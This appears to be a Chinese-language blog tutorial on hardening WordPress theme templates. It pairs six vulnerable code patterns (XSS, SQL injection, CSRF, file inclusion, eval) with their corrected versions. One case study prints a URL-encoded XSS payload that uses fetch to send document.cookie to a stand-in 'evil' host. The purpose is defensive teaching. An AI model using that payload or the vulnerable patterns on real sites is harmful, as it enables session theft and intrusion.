搜索全站
主题 15 分钟阅读

WordPress主题安全:模板里必须删掉的六种危险写法

主题模板里直接 echo $_GET、SQL 不预处理、权限不校验,是最常见的被入侵入口。本文列出六种必须删掉的写法,给出 esc_html、wp_kses_post、$wpdb->prepare、check_admin_referer 的正确替代方案。

U
UFO_PF 2024-12-16 · 阅读 15 分钟
Wo 主题
阅读提示
本文约 5,624 字,预计阅读 15 分钟。文中命令与配置均经过实测,可直接参考执行。

引言:漏洞不在插件里,在主题模板里

一次应急响应里遇到这样的情况:站点装了 Wordfence、开了双因素、插件全部更新到最新,后台仍然被植入了隐蔽的跳转代码。排查到最后发现入口在主题——header.php 里有一行 echo $_GET['ref'];,本意是打印来源统计参数,结果任何人只要在 URL 后面加上 ?ref=<script>...</script>,就能在前台注入任意脚本。因为写在模板里,不需要登录、不需要权限,绕过了一切后台防护。

这类问题在「定制主题」里极其常见。很多主题开发者(包括不少外包团队)熟悉业务逻辑,但对 WordPress 的数据流规则不熟:数据从哪来、要经过哪道处理才能输出、输出时该用哪个转义函数,这套规则不清,就会在模板里留下直通道。更麻烦的是,漏洞扫描器扫的是插件与核心,主题模板里的自定义代码几乎扫不到。

原理分析:三条数据流规则

WordPress 的安全模型可以概括成三句话,理解这三条,六种危险写法的成因就都清楚了。

规则 含义 对应函数族
校验(Validate) 进来的数据先判断合不合法 absint()、sanitize_key()、in_array() 白名单
净化(Sanitize) 存之前清洗掉危险内容 sanitize_text_field()、wp_kses_post()
转义(Escape) 输出那一刻做最后一层保护 esc_html()、esc_attr()、esc_url()

一条经验:净化是入库时做的,转义是出库时做的,两者不能互相替代。很多教程教人「存之前 esc_html() 一下」,这是错的——转义过早会导致数据被双重编码,编辑时看到 &amp;lt;,而真正输出点反而以为数据已经安全。

数据库层面则是另一条铁律:任何进入 SQL 语句的变量,必须走 $wpdb->prepare(),用 %s、%d、%f 占位符,不要手工拼接引号。

保姆级实操

步骤 1:先把主题过一遍静态扫描

不需要付费工具,先用免费的 WordPress Coding Standards(WPCS)跑一遍:

composer global require "squizlabs/php_codesniffer=*" "wp-coding-standards/wpcs:*"
phpcs --config-set installed_paths ~/.composer/vendor/wp-coding-standards/wpcs
phpcs --standard=WordPress --sniffs=WordPress.Security wp-content/themes/my-theme/

其中 WordPress.Security.EscapeOutput、WordPress.Security.NonceVerification、WordPress.Security.ValidatedSanitizedInput 这三项正是本节要讲的六类问题的自动检测器。

步骤 2:危险写法一 —— 直接输出超全局变量

// 危险:反射型 XSS,无需登录即可触发
echo $_GET['ref'];
echo $_SERVER['HTTP_REFERER'];
echo $_POST['keyword'];

// 正确:先取、再净化、输出时转义
$ref = isset( $_GET['ref'] ) ? sanitize_text_field( wp_unslash( $_GET['ref'] ) ) : '';
echo esc_html( $ref );

$keyword = isset( $_POST['keyword'] ) ? sanitize_text_field( wp_unslash( $_POST['keyword'] ) ) : '';
echo esc_html( $keyword );

注意顺序:wp_unslash() 先去掉 WordPress 自动加的反斜杠,再 sanitize_text_field(),最后输出时 esc_html()。

步骤 3:危险写法二 —— 拼 SQL 字符串

// 危险:SQL 注入
global $wpdb;
$rows = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%" . $_GET['s'] . "%'" );

// 正确:占位符 + 白名单排序字段
global $wpdb;
$like    = '%' . $wpdb->esc_like( sanitize_text_field( wp_unslash( $_GET['s'] ?? '' ) ) ) . '%';
$allowed = array( 'post_date', 'post_title' );
$orderby = in_array( $_GET['orderby'] ?? '', $allowed, true ) ? $_GET['orderby'] : 'post_date';

$rows = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT ID, post_title FROM {$wpdb->posts}
         WHERE post_type = 'product' AND post_title LIKE %s
         ORDER BY {$orderby} DESC LIMIT 20",
        $like
    )
);

ORDER BY 后的字段名无法用占位符(占位符只能替换值),所以必须用白名单兜住,这是唯一例外的处理方式。

步骤 4:危险写法三 —— 表单和 Ajax 不校验 nonce

// 危险:CSRF,任何人可以构造请求改数据
if ( isset( $_POST['do_save'] ) ) {
    update_option( 'my_theme_setting', $_POST['value'] );
}

// 正确:nonce + 能力判断
if ( isset( $_POST['do_save'] ) ) {
    check_admin_referer( 'my_theme_save_settings', 'my_theme_nonce' );

    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( '权限不足', 403 );
    }

    update_option(
        'my_theme_setting',
        sanitize_text_field( wp_unslash( $_POST['value'] ) )
    );
}

模板里输出 nonce 字段用 wp_nonce_field( 'my_theme_save_settings', 'my_theme_nonce' );。

步骤 5:危险写法四 —— 该转义的地方用错函数

// 属性里必须 esc_attr,URL 里必须 esc_url,HTML 内容用 wp_kses_post
<a href="<?php echo esc_url( get_permalink() ); ?>"
   title="<?php echo esc_attr( get_the_title() ); ?>">
    <?php echo esc_html( get_the_title() ); ?>
</a>

<?php
// 富文本内容:只允许文章级标签
echo wp_kses_post( get_post_meta( get_the_ID(), 'intro_html', true ) );

// 更严格的自定义白名单
echo wp_kses( $value, array(
    'a'      => array( 'href' => true, 'title' => true, 'rel' => true ),
    'strong' => array(),
    'em'     => array(),
    'br'     => array(),
) );

// JS 上下文唯一正确的函数
echo 'var cfg = ' . wp_json_encode( $cfg ) . ';';

最常见的错误是往 onclick、style 这类上下文里塞 esc_html(),那是无效的。JS 上下文只能靠 wp_json_encode(),样式上下文只能靠白名单。

步骤 6:危险写法五 —— 文件操作与包含路径可控

// 危险:本地文件包含
include get_template_directory() . '/' . $_GET['tpl'] . '.php';

// 正确:白名单映射
$templates = array(
    'grid' => 'template-parts/grid.php',
    'list' => 'template-parts/list.php',
);
$key = sanitize_key( $_GET['tpl'] ?? '' );
if ( isset( $templates[ $key ] ) ) {
    get_template_part( 'template-parts/' . basename( $templates[ $key ], '.php' ) );
} else {
    get_template_part( 'template-parts/grid' );
}

步骤 7:危险写法六 —— 直接执行用户输入

主题里偶尔会出现 eval()、assert()、base64_decode() 组合,或是把设置项当 PHP 执行。这类写法没有任何安全加固方式,只能删除。若确实需要动态规则,改用选项字段存配置数据,用 switch 分支消费。

常见踩坑

  1. 以为 sanitize_text_field() 之后就不用 esc_html():净化不等于转义,数据从库里读出来后仍可能被其他路径污染,输出点必须独立转义。
  2. esc_html() 用在富文本上:会把所有标签转成实体,编辑精心排的版式全变成纯文本。富文本用 wp_kses_post()。
  3. wp_kses_post() 直接套在短代码输出上:do_shortcode() 之后再 wp_kses_post(),会把短代码生成的 iframe、script 全部剥掉,视频和表单直接消失。
  4. nonce 校验加在 GET 上却用 check_admin_referer():该函数只校验 POST/后台,前台 GET 场景要用 wp_verify_nonce() 手动校验。
  5. 案例: 某外贸主题为了做「多语言切换」,在 functions.php 里写了 setcookie( 'lang', $_GET['lang'] ) 并在模板里 echo $_GET['lang']。攻击者构造 ?lang=%3Cimg%20src%3Dx%20onerror%3Dfetch(%27//evil%27%2Bdocument.cookie)%3E,管理员浏览前台时 cookie 被带出。修法是白名单只允许 zh/en/ja 三个值,且输出时用 esc_html()。
  6. 把 current_user_can() 写成 is_admin():is_admin() 只判断是否在后台页面,不代表用户有权限,前台 Ajax 请求里它恒为 false 或 true,完全不能用于鉴权。
  7. 只改模板不改上传目录:wp-content/uploads 下的 .php 文件若可执行,即便模板全对也可能被绕过,需要在服务器层禁止上传目录执行 PHP。

总结

主题模板的安全检查可以浓缩成一张清单:任何 $_GET/$_POST/$_SERVER 的值,取用前必须 wp_unslash() + sanitize_*(),输出时必须 esc_*();任何 SQL 必须走 $wpdb->prepare(),排序字段必须白名单;任何状态变更必须 check_admin_referer() + current_user_can();任何文件包含必须映射到白名单;主题里不允许出现 eval()。

把这六条做成 WPCS 的提交前钩子,比事后审计有效得多。顺带一提,模板里安全写法与 自己维护主题的版本管理与变更记录 是一对搭档——改了什么要有记录,出了事才能快速定位是哪次改动引入的;而升级前也要留意 主题与WordPress新版本的前瞻性适配 里提到的弃用函数,别让安全代码随着 API 变更失效。

U
UFO_PF作者

专注 WordPress 生态的实战作者,内容以「可复制、可验证」为第一原则。

留下你的想法

邮箱地址不会被公开。带 * 的为必填项。